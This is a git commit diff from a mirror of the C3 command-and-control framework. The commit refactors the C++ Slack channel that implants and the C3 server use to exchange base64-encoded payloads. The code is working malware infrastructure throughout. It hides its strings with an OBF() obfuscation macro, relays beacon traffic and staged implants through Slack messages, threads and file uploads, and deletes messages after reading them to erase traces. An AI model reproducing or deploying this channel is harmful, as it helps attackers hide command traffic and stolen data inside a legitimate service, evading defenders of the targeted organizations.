mirror of https://github.com/infosecn1nja/C3.git
Slightly simplify slack code
parent
a54ba7cf76
commit
98b171b06d
|
@ -38,21 +38,21 @@ FSecure::ByteVector FSecure::C3::Interfaces::Channels::Slack::OnReceiveFromChann
|
|||
for (std::vector<std::string>::reverse_iterator ts = messages.rbegin(); ts != messages.rend(); ++ts)
|
||||
{
|
||||
|
||||
std::vector<json> replies = m_slackObj.ReadReplies(ts->c_str());
|
||||
std::vector<json> replies = m_slackObj.ReadReplies(*ts);
|
||||
std::vector<std::string> repliesTs;
|
||||
|
||||
std::string message;
|
||||
|
||||
//Get all of the messages from the replies.
|
||||
for (size_t i = 0u; i < replies.size(); i++)
|
||||
for (auto&& reply : replies)
|
||||
{
|
||||
message.append(replies[i][OBF("text")]);
|
||||
repliesTs.push_back(replies[i][OBF("ts")]); //get all of the timestamps for later deletion
|
||||
message.append(reply[OBF("text")]);
|
||||
repliesTs.push_back(reply[OBF("ts")]); //get all of the timestamps for later deletion
|
||||
}
|
||||
|
||||
//Base64 decode the entire message
|
||||
auto relayMsg = cppcodec::base64_rfc4648::decode(message);
|
||||
m_slackObj.DeleteMessage(ts->c_str()); //delete the message
|
||||
m_slackObj.DeleteMessage(*ts); //delete the message
|
||||
DeleteReplies(repliesTs); //delete the replies.
|
||||
return relayMsg;
|
||||
}
|
||||
|
|
|
@ -18,24 +18,24 @@ FSecure::Slack::Slack(std::string const& token, std::string const& channelName)
|
|||
SetChannel(CreateChannel(lowerChannelName));
|
||||
}
|
||||
|
||||
void FSecure::Slack::SetChannel(std::string const &channelId)
|
||||
void FSecure::Slack::SetChannel(std::string const& channelId)
|
||||
{
|
||||
this->m_Channel = channelId;
|
||||
}
|
||||
|
||||
void FSecure::Slack::SetToken(std::string const &token)
|
||||
void FSecure::Slack::SetToken(std::string const& token)
|
||||
{
|
||||
this->m_Token = token;
|
||||
}
|
||||
|
||||
std::string FSecure::Slack::WriteMessage(std::string text)
|
||||
std::string FSecure::Slack::WriteMessage(std::string const& text)
|
||||
{
|
||||
json j;
|
||||
j[OBF("channel")] = this->m_Channel;
|
||||
j[OBF("text")] = text;
|
||||
std::string url = OBF("https://slack.com/api/chat.postMessage");
|
||||
|
||||
json output = SendHttpRequest(url, OBF("application/json"), j);
|
||||
json output = SendJsonRequest(url, j);
|
||||
|
||||
return output[OBF("message")][OBF("ts")].get<std::string>(); //return the timestamp so a reply can be viewed
|
||||
}
|
||||
|
@ -45,9 +45,9 @@ std::string FSecure::Slack::WriteMessage(std::string text)
|
|||
std::map<std::string, std::string> FSecure::Slack::ListChannels()
|
||||
{
|
||||
std::map<std::string, std::string> channelMap;
|
||||
std::string url = OBF("https://slack.com/api/channels.list?token=") + this->m_Token + OBF("&exclude_members=true&exclude_archived=true");
|
||||
std::string url = OBF("https://slack.com/api/channels.list?exclude_members=true&exclude_archived=true");
|
||||
|
||||
json response = SendHttpRequest(url, OBF("application/json"), NULL);
|
||||
json response = SendJsonRequest(url, NULL);
|
||||
|
||||
for (auto &channel : response[OBF("channels")])
|
||||
{
|
||||
|
@ -64,14 +64,13 @@ std::map<std::string, std::string> FSecure::Slack::ListChannels()
|
|||
|
||||
|
||||
|
||||
std::string FSecure::Slack::CreateChannel(std::string const &channelName)
|
||||
std::string FSecure::Slack::CreateChannel(std::string const& channelName)
|
||||
{
|
||||
json j;
|
||||
std::string url = OBF("https://slack.com/api/channels.create");
|
||||
j[OBF("token")] = this->m_Token;
|
||||
j[OBF("name")] = channelName;
|
||||
|
||||
json response = SendHttpRequest(url, OBF("application/json"), j);
|
||||
json response = SendJsonRequest(url, j);
|
||||
|
||||
if (!response.contains(OBF("channel"))) //attempt to find the channel using API call
|
||||
{
|
||||
|
@ -91,10 +90,10 @@ std::string FSecure::Slack::CreateChannel(std::string const &channelName)
|
|||
}
|
||||
|
||||
|
||||
std::vector<json> FSecure::Slack::ReadReplies(std::string const ×tamp)
|
||||
std::vector<json> FSecure::Slack::ReadReplies(std::string const& timestamp)
|
||||
{
|
||||
std::string url = OBF("https://slack.com/api/channels.replies?token=") + this->m_Token + OBF("&channel=") + this->m_Channel + OBF("&thread_ts=") + timestamp;
|
||||
json output = SendHttpRequest(url, OBF("application/json"), NULL);
|
||||
std::string url = OBF("https://slack.com/api/channels.replies?channel=") + this->m_Channel + OBF("&thread_ts=") + timestamp;
|
||||
json output = SendJsonRequest(url, NULL);
|
||||
std::vector<json> ret;
|
||||
|
||||
//This logic is really messy, in reality the checks are over cautious, however there is an edgecase
|
||||
|
@ -102,7 +101,7 @@ std::vector<json> FSecure::Slack::ReadReplies(std::string const ×tamp)
|
|||
//If that was the case, and we didn't sanity check, we could run into problems.
|
||||
if (output.contains(OBF("messages")))
|
||||
{
|
||||
json m = output[OBF("messages")];
|
||||
json const& m = output[OBF("messages")];
|
||||
if (m[0].contains(OBF("replies")) && m[0].size() > 1)
|
||||
{
|
||||
if (m[1].contains(OBF("files"))) //the reply contains a file, handle this differently
|
||||
|
@ -110,18 +109,20 @@ std::vector<json> FSecure::Slack::ReadReplies(std::string const ×tamp)
|
|||
std::string ts = m[1][OBF("ts")];
|
||||
std::string fileUrl = m[1][OBF("files")][0][OBF("url_private")].get<std::string>();
|
||||
std::string text = GetFile(fileUrl);
|
||||
|
||||
//recreate a "message" from the data within the file.
|
||||
json j;
|
||||
j[OBF("ts")] = ts.c_str();
|
||||
j[OBF("text")] = text.c_str();
|
||||
ret.push_back(j);
|
||||
json j
|
||||
{
|
||||
{ OBF("ts"), std::move(ts)},
|
||||
{ OBF("text"), std::move(text) }
|
||||
};
|
||||
ret.emplace_back(std::move(j));
|
||||
}
|
||||
else
|
||||
{
|
||||
for (size_t i = 1u; i < m.size(); i++) //skip the first message (it doesn't contain the data we want).
|
||||
{
|
||||
json reply = m[i];
|
||||
ret.push_back(reply);
|
||||
ret.emplace_back(std::move(m[i]));
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -132,7 +133,7 @@ std::vector<json> FSecure::Slack::ReadReplies(std::string const ×tamp)
|
|||
return ret;
|
||||
}
|
||||
|
||||
std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string const &direction)
|
||||
std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string const& direction)
|
||||
{
|
||||
std::vector<std::string> ret;
|
||||
json messages, resp;
|
||||
|
@ -144,15 +145,14 @@ std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string con
|
|||
//This only becomes a problem with lots of beacons (especially if many are staging at the same time)
|
||||
do
|
||||
{
|
||||
std::string url = OBF("https://slack.com/api/conversations.history?limit=200&token=");
|
||||
url.append(this->m_Token + OBF("&") + OBF("channel=") + this->m_Channel);
|
||||
std::string url = OBF("https://slack.com/api/conversations.history?limit=200&channel=") + this->m_Channel;
|
||||
|
||||
//Will be empty on the first run, if has_more == false this won't be executed again
|
||||
if (!cursor.empty())
|
||||
url.append(OBF("&cursor=") + cursor);
|
||||
|
||||
//Actually send the http request and grab the messages
|
||||
resp = SendHttpRequest(url, OBF("application/json"), NULL);
|
||||
resp = SendJsonRequest(url, NULL);
|
||||
|
||||
messages = resp[OBF("messages")];
|
||||
|
||||
|
@ -177,7 +177,7 @@ std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string con
|
|||
return ret;
|
||||
}
|
||||
|
||||
void FSecure::Slack::UpdateMessage(std::string const &message, std::string const ×tamp)
|
||||
void FSecure::Slack::UpdateMessage(std::string const& message, std::string const& timestamp)
|
||||
{
|
||||
std::string url = OBF("https://slack.com/api/chat.update");
|
||||
|
||||
|
@ -186,10 +186,10 @@ void FSecure::Slack::UpdateMessage(std::string const &message, std::string const
|
|||
j[OBF("text")] = message;
|
||||
j[OBF("ts")] = timestamp;
|
||||
|
||||
SendHttpRequest(url, OBF("application/json"), j);
|
||||
SendJsonRequest(url, j);
|
||||
}
|
||||
|
||||
void FSecure::Slack::WriteReply(std::string const &text, std::string const ×tamp)
|
||||
void FSecure::Slack::WriteReply(std::string const& text, std::string const& timestamp)
|
||||
{
|
||||
//this is more than 30 messages, send it as a file (we do this infrequently as file uploads restricted to 20 per minute).
|
||||
//Using file upload for staging (~88 messages) is a huge improvement over sending actual replies.
|
||||
|
@ -210,23 +210,22 @@ void FSecure::Slack::WriteReply(std::string const &text, std::string const &time
|
|||
j[OBF("thread_ts")] = timestamp;
|
||||
std::string url = OBF("https://slack.com/api/chat.postMessage");
|
||||
|
||||
json response = SendHttpRequest(url, OBF("application/json"), j);
|
||||
json response = SendJsonRequest(url, j);
|
||||
}
|
||||
|
||||
void FSecure::Slack::DeleteMessage(std::string const ×tamp)
|
||||
void FSecure::Slack::DeleteMessage(std::string const& timestamp)
|
||||
{
|
||||
json j;
|
||||
j[OBF("channel")] = this->m_Channel;
|
||||
j[OBF("ts")] = timestamp;
|
||||
j[OBF("token")] = this->m_Token;
|
||||
std::string url = OBF("https://slack.com/api/chat.delete");
|
||||
|
||||
json response = SendHttpRequest(url, OBF("application/json"), j);
|
||||
json response = SendJsonRequest(url, j);
|
||||
|
||||
}
|
||||
|
||||
//Slack limits a messages to 40000 characters - this actually gets split across 10 4000 character messages
|
||||
void FSecure::Slack::WriteReplyLarge(std::string const &data, std::string const &ts)
|
||||
void FSecure::Slack::WriteReplyLarge(std::string const& data, std::string const& ts)
|
||||
{
|
||||
std::string ret;
|
||||
int start = 0;
|
||||
|
@ -246,76 +245,58 @@ void FSecure::Slack::WriteReplyLarge(std::string const &data, std::string const
|
|||
this->WriteReply(data.substr(start, data.length()), ts); //write the final part of the payload
|
||||
}
|
||||
|
||||
json FSecure::Slack::SendHttpRequest(std::string const& host, std::string const& contentType, json const& data)
|
||||
json FSecure::Slack::SendHttpRequest(std::string const& host, std::string const& contentType, std::string const& data)
|
||||
{
|
||||
std::string authHeader = OBF("Bearer ") + this->m_Token;
|
||||
std::string contentHeader = OBF("Content-Type: ") + contentType;
|
||||
std::string postData;
|
||||
|
||||
while (true)
|
||||
{
|
||||
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
|
||||
web::http::http_request request;
|
||||
web::http::http_request request; // default request is GET
|
||||
|
||||
if (data != NULL)
|
||||
if (!data.empty())
|
||||
{
|
||||
request = web::http::http_request(web::http::methods::POST);
|
||||
|
||||
if (data.contains(OBF("postData")))
|
||||
postData = data[OBF("postData")].get<std::string>();
|
||||
else
|
||||
postData = data.dump();
|
||||
request.set_method(web::http::methods::POST);
|
||||
|
||||
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
|
||||
request.set_body(utility::conversions::to_string_t(postData));
|
||||
request.set_body(utility::conversions::to_string_t(data));
|
||||
}
|
||||
else
|
||||
{
|
||||
request = web::http::http_request(web::http::methods::GET);
|
||||
}
|
||||
request.headers().add(OBF(L"Authorization"), utility::conversions::to_string_t(authHeader));
|
||||
|
||||
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
return response;
|
||||
});
|
||||
request.headers().add(OBF(L"Authorization"), OBF(L"Bearer ") + utility::conversions::to_string_t(this->m_Token));
|
||||
|
||||
task.wait();
|
||||
web::http::http_response resp = task.get();
|
||||
web::http::http_response resp = webClient.request(request).get();
|
||||
|
||||
if (resp.status_code() == web::http::status_codes::OK)
|
||||
{
|
||||
auto respData = resp.extract_string();
|
||||
return json::parse(respData.get());
|
||||
auto respData = resp.extract_string().get();
|
||||
return json::parse(respData);
|
||||
}
|
||||
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
|
||||
{
|
||||
std::random_device randomDevice;
|
||||
std::mt19937 randomEngine(randomDevice()); // seed the generator
|
||||
std::uniform_int_distribution<> distribution(0, 10); // define the range
|
||||
int sleepTime = 10 + distribution(randomEngine); //sleep between 10 and 20 seconds
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::seconds(sleepTime));
|
||||
//sleep between 10 and 20 seconds
|
||||
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
|
||||
}
|
||||
else
|
||||
throw std::exception(OBF("[x] Non 200/429 HTTP Response\n"));
|
||||
}
|
||||
}
|
||||
|
||||
void FSecure::Slack::UploadFile(std::string const &data, std::string const &ts)
|
||||
json FSecure::Slack::SendJsonRequest(std::string const& url, json const& data)
|
||||
{
|
||||
std::string url = OBF("https://slack.com/api/files.upload?token=") + this->m_Token + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
|
||||
return SendHttpRequest(url, OBF("application/json"), data.dump());
|
||||
}
|
||||
|
||||
void FSecure::Slack::UploadFile(std::string const& data, std::string const& ts)
|
||||
{
|
||||
std::string url = OBF_STR("https://slack.com/api/files.upload?") + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
|
||||
|
||||
std::string encoded = utility::conversions::to_utf8string(web::http::uri::encode_data_string(utility::conversions::to_string_t(data)));
|
||||
|
||||
json toSend;
|
||||
toSend[OBF("postData")] = OBF("filename=test5&content=") + encoded;
|
||||
std::string toSend = OBF("filename=test5&content=") + encoded;
|
||||
|
||||
json response = SendHttpRequest(url, OBF("application/x-www-form-urlencoded"), toSend);
|
||||
}
|
||||
|
||||
|
||||
std::string FSecure::Slack::GetFile(std::string const &url)
|
||||
std::string FSecure::Slack::GetFile(std::string const& url)
|
||||
{
|
||||
std::string host = url;
|
||||
std::string authHeader = OBF("Bearer ") + this->m_Token;
|
||||
|
@ -325,16 +306,9 @@ std::string FSecure::Slack::GetFile(std::string const &url)
|
|||
|
||||
request.headers().add(OBF(L"Authorization"), utility::conversions::to_string_t(authHeader));
|
||||
|
||||
pplx::task<std::string> task = webClient.request(request).then([&](web::http::http_response response)
|
||||
{
|
||||
if (response.status_code() == web::http::status_codes::OK)
|
||||
return response.extract_utf8string();
|
||||
else
|
||||
return pplx::task<std::string>{};
|
||||
});
|
||||
|
||||
task.wait();
|
||||
std::string resp = task.get();
|
||||
|
||||
return resp;
|
||||
web::http::http_response response = webClient.request(request).get();
|
||||
if (response.status_code() == web::http::status_codes::OK)
|
||||
return response.extract_utf8string().get();
|
||||
else
|
||||
return {};
|
||||
}
|
||||
|
|
|
@ -22,25 +22,25 @@ namespace FSecure
|
|||
/// Write a message to the channel this Slack object is set to.
|
||||
/// @param text - the text of the message
|
||||
/// @return - a timestamp of the message that was written to the channel.
|
||||
std::string WriteMessage(std::string text);
|
||||
std::string WriteMessage(std::string const& text);
|
||||
|
||||
/// Set the channel that this object uses for communications
|
||||
/// @param channel - the channelId (not name), for example CGPMGFGSH.
|
||||
void SetChannel(std::string const &channelId);
|
||||
void SetChannel(std::string const& channelId);
|
||||
|
||||
/// set the token for this object.
|
||||
/// @param token - the textual api token.
|
||||
void SetToken(std::string const &token);
|
||||
void SetToken(std::string const& token);
|
||||
|
||||
/// Creates a channel on slack, if the channel exists already, will call ListChannels internally to get the channelId.
|
||||
/// @param channelName - the actual name of the channel, such as "general".
|
||||
/// @return - the channelId of the new or already existing channel.
|
||||
std::string CreateChannel(std::string const &channelName);
|
||||
std::string CreateChannel(std::string const& channelName);
|
||||
|
||||
/// Read the replies to a message
|
||||
/// @param timestamp - the timestamp of the original message, from which we can gather the replies.
|
||||
/// @return - an array of json objects contaning the replies to the original message.
|
||||
std::vector<json> ReadReplies(std::string const ×tamp);
|
||||
std::vector<json> ReadReplies(std::string const& timestamp);
|
||||
|
||||
/// List all the channels in the workspace the object's token is tied to.
|
||||
/// @return - a map of {channelName -> channelId}
|
||||
|
@ -49,21 +49,21 @@ namespace FSecure
|
|||
/// Get all of the messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
|
||||
/// @param direction - the direction to search for (eg. "S2C").
|
||||
/// @return - a vector of timestamps, where timestamp allows replies to be read later
|
||||
std::vector<std::string> GetMessagesByDirection(std::string const &direction);
|
||||
std::vector<std::string> GetMessagesByDirection(std::string const& direction);
|
||||
|
||||
/// Edit a previously sent message.
|
||||
/// @param message - the message to update to, this will overwrite the previous message.
|
||||
/// @param timestamp - the timestamp of the message to update.
|
||||
void UpdateMessage(std::string const &message, std::string const ×tamp);
|
||||
void UpdateMessage(std::string const& message, std::string const& timestamp);
|
||||
|
||||
/// Create a thread on a message by writing a reply to it.
|
||||
/// @param text - the text to send as a reply.
|
||||
/// @param timestamp - the timestamp of the message that the reply is for.
|
||||
void WriteReply(std::string const &text, std::string const ×tamp);
|
||||
void WriteReply(std::string const& text, std::string const& timestamp);
|
||||
|
||||
/// Delete a message from the channel
|
||||
/// @param timestamp - the timestamp of the message to delete.
|
||||
void DeleteMessage(std::string const ×tamp);
|
||||
void DeleteMessage(std::string const& timestamp);
|
||||
|
||||
|
||||
|
||||
|
@ -73,7 +73,7 @@ namespace FSecure
|
|||
/// This method is only used when replies are sent.
|
||||
/// @param data - the payload to be sent.
|
||||
/// @param ts - the timestamp of the original message to reply to.
|
||||
void WriteReplyLarge(std::string const &data, std::string const &ts);
|
||||
void WriteReplyLarge(std::string const& data, std::string const& ts);
|
||||
|
||||
/// The channel through which messages are sent and recieved, will be sent when the object is created.
|
||||
std::string m_Channel;
|
||||
|
@ -81,20 +81,25 @@ namespace FSecure
|
|||
/// The Slack API token that allows the object access to the workspace. Needs to be manually created as described in documentation.
|
||||
std::string m_Token;
|
||||
|
||||
/// Hold proxy settings
|
||||
web::http::client::http_client_config m_HttpConfig;
|
||||
|
||||
json SendHttpRequest(std::string const& host, std::string const& contentType, json const& data);
|
||||
/// Send http request, uses preset token for authentication
|
||||
json SendHttpRequest(std::string const& host, std::string const& contentType, std::string const& data);
|
||||
|
||||
/// Send http request with json data, uses preset token for authentication
|
||||
json SendJsonRequest(std::string const& url, json const& data);
|
||||
|
||||
/// Use Slack's file API to upload data as files. This is useful when a payload is large (for example during implant staging).
|
||||
/// This function is called internally whenever a WriteReply is called with a payload of more than 120k characters.
|
||||
/// @param data - the data to be sent.
|
||||
/// @param ts - the timestamp, needed as this method is only used during WriteReply.
|
||||
void UploadFile(std::string const &data, std::string const &ts);
|
||||
void UploadFile(std::string const& data, std::string const& ts);
|
||||
|
||||
/// Use Slack's File API to retrieve files.
|
||||
/// @param url - the url where the file can be retrieved.
|
||||
/// @return - the data within the file.
|
||||
std::string GetFile(std::string const &url);
|
||||
std::string GetFile(std::string const& url);
|
||||
|
||||
};
|
||||
|
||||
|
|
Loading…
Reference in New Issue